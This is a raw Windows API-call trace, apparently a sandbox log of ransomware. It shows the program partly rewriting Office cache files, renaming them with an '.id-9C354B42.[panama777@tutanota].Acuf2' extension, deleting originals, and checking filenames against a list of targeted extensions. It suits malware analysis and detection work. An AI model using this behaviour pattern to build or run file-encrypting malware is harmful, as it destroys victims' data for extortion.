	[0050.000] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.000] ReadFile (in: hFile=0x178, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.015] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.015] WriteFile (in: hFile=0x178, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x35afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0050.192] SetEndOfFile (hFile=0x178) returned 1
	[0050.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f937f0
	[0050.197] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.197] WriteFile (in: hFile=0x178, lpBuffer=0x3f937f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f937f0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.199] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.199] WriteFile (in: hFile=0x178, lpBuffer=0x3f937f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f937f0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.201] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.201] WriteFile (in: hFile=0x178, lpBuffer=0x3f937f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f937f0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f937f0 | out: hHeap=0x4f0000) returned 1
	[0050.204] CloseHandle (hObject=0x178) returned 1
	[0050.204] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0050.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.205] lstrlenW (lpString=".doc") returned 4
	[0050.205] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0050.205] lstrlenW (lpString=".docx") returned 5
	[0050.205] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0050.205] lstrlenW (lpString=".pdf") returned 4
	[0050.205] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0050.205] lstrlenW (lpString=".xls") returned 4
	[0050.205] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0050.205] lstrlenW (lpString=".xlsx") returned 5
	[0050.205] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0050.205] lstrlenW (lpString=".ppt") returned 4
	[0050.205] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0050.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.205] lstrlenW (lpString=".zip") returned 4
	[0050.205] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0050.205] lstrlenW (lpString=".rar") returned 4
	[0050.205] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0050.205] lstrlenW (lpString=".bz2") returned 4
	[0050.205] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0050.205] lstrlenW (lpString=".7z") returned 3
	[0050.205] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0050.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.205] lstrlenW (lpString=".dbf") returned 4
	[0050.205] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0050.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.206] lstrlenW (lpString=".1cd") returned 4
	[0050.206] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0050.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.206] lstrlenW (lpString=".jpg") returned 4
	[0050.206] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0050.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.206] lstrlenW (lpString=".doc") returned 4
	[0050.206] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0050.206] lstrlenW (lpString=".docx") returned 5
	[0050.206] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0050.206] lstrlenW (lpString=".pdf") returned 4
	[0050.206] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0050.206] lstrlenW (lpString=".xls") returned 4
	[0050.206] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0050.206] lstrlenW (lpString=".xlsx") returned 5
	[0050.206] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0050.206] lstrlenW (lpString=".ppt") returned 4
	[0050.206] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0050.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.206] lstrlenW (lpString=".zip") returned 4
	[0050.206] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0050.206] lstrlenW (lpString=".rar") returned 4
	[0050.206] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0050.206] lstrlenW (lpString=".bz2") returned 4
	[0050.206] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0050.206] lstrlenW (lpString=".7z") returned 3
	[0050.207] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0050.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.207] lstrlenW (lpString=".dbf") returned 4
	[0050.207] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0050.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.207] lstrlenW (lpString=".1cd") returned 4
	[0050.207] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0050.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0050.207] lstrlenW (lpString=".jpg") returned 4
	[0050.207] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0050.207] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Acuf2") returned 1
	[0050.207] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0050.207] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.208] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=715834) returned 1
	[0050.208] CloseHandle (hObject=0x178) returned 1
	[0050.208] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020
	[0050.208] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.208] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.208] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.208] GetLastError () returned 0x0
	[0050.208] ReadFile (in: hFile=0x178, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0xaec3a, lpOverlapped=0x0) returned 1
	[0050.226] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xaec40, lpOverlapped=0x0) returned 1
	[0050.490] ReadFile (in: hFile=0x178, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.490] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0x104, lpOverlapped=0x0) returned 1
	[0050.490] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.490] CloseHandle (hObject=0x1a4) returned 1
	[0050.491] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.491] SetEndOfFile (hFile=0x178) returned 1
	[0050.497] CloseHandle (hObject=0x178) returned 1
	[0050.497] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0050.497] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1
	[0050.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.497] lstrlenW (lpString=".doc") returned 4
	[0050.497] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0050.497] lstrlenW (lpString=".docx") returned 5
	[0050.497] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0050.498] lstrlenW (lpString=".pdf") returned 4
	[0050.498] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0050.498] lstrlenW (lpString=".xls") returned 4
	[0050.498] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0050.498] lstrlenW (lpString=".xlsx") returned 5
	[0050.498] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0050.498] lstrlenW (lpString=".ppt") returned 4
	[0050.498] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0050.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.498] lstrlenW (lpString=".zip") returned 4
	[0050.498] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0050.498] lstrlenW (lpString=".rar") returned 4
	[0050.498] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0050.498] lstrlenW (lpString=".bz2") returned 4
	[0050.498] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0050.498] lstrlenW (lpString=".7z") returned 3
	[0050.498] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0050.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.498] lstrlenW (lpString=".dbf") returned 4
	[0050.498] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0050.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.498] lstrlenW (lpString=".1cd") returned 4
	[0050.498] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0050.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.498] lstrlenW (lpString=".jpg") returned 4
	[0050.498] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0050.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.499] lstrlenW (lpString=".doc") returned 4
	[0050.499] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0050.499] lstrlenW (lpString=".docx") returned 5
	[0050.499] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0050.499] lstrlenW (lpString=".pdf") returned 4
	[0050.499] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0050.499] lstrlenW (lpString=".xls") returned 4
	[0050.499] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0050.499] lstrlenW (lpString=".xlsx") returned 5
	[0050.499] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0050.499] lstrlenW (lpString=".ppt") returned 4
	[0050.499] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0050.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.499] lstrlenW (lpString=".zip") returned 4
	[0050.499] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0050.499] lstrlenW (lpString=".rar") returned 4
	[0050.499] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0050.499] lstrlenW (lpString=".bz2") returned 4
	[0050.499] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0050.499] lstrlenW (lpString=".7z") returned 3
	[0050.499] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0050.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.499] lstrlenW (lpString=".dbf") returned 4
	[0050.499] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0050.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.499] lstrlenW (lpString=".1cd") returned 4
	[0050.499] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0050.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0050.499] lstrlenW (lpString=".jpg") returned 4
	[0050.499] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0050.500] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0050.500] lstrlenW (lpString="ProPrWW.cab") returned 11
	[0050.500] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0050.550] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=177720283) returned 1
	[0050.550] CloseHandle (hObject=0x1fc) returned 1
	[0050.550] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020
	[0050.550] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.550] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0050.551] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0050.551] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0x0) returned 1
	[0050.551] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.551] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c60058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.564] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.564] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.570] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0050.570] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.570] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.850] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.851] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x35afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0050.870] SetEndOfFile (hFile=0x1fc) returned 1
	[0050.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fb3800
	[0050.906] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.906] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fb3800*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3800*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.907] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.907] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fb3800*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3800*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.907] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.907] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fb3800*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3800*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fb3800 | out: hHeap=0x4f0000) returned 1
	[0050.911] CloseHandle (hObject=0x1fc) returned 1
	[0050.911] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0050.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.912] lstrlenW (lpString=".doc") returned 4
	[0050.912] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0050.912] lstrlenW (lpString=".docx") returned 5
	[0050.912] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0050.912] lstrlenW (lpString=".pdf") returned 4
	[0050.912] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0050.912] lstrlenW (lpString=".xls") returned 4
	[0050.912] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0050.912] lstrlenW (lpString=".xlsx") returned 5
	[0050.912] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0050.912] lstrlenW (lpString=".ppt") returned 4
	[0050.912] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0050.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.912] lstrlenW (lpString=".zip") returned 4
	[0050.912] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0050.912] lstrlenW (lpString=".rar") returned 4
	[0050.912] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0050.912] lstrlenW (lpString=".bz2") returned 4
	[0050.912] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0050.912] lstrlenW (lpString=".7z") returned 3
	[0050.912] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0050.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.912] lstrlenW (lpString=".dbf") returned 4
	[0050.912] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0050.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.912] lstrlenW (lpString=".1cd") returned 4
	[0050.913] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0050.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.913] lstrlenW (lpString=".jpg") returned 4
	[0050.913] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0050.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.913] lstrlenW (lpString=".doc") returned 4
	[0050.913] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0050.913] lstrlenW (lpString=".docx") returned 5
	[0050.913] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0050.913] lstrlenW (lpString=".pdf") returned 4
	[0050.913] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0050.913] lstrlenW (lpString=".xls") returned 4
	[0050.913] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0050.913] lstrlenW (lpString=".xlsx") returned 5
	[0050.913] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0050.913] lstrlenW (lpString=".ppt") returned 4
	[0050.913] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
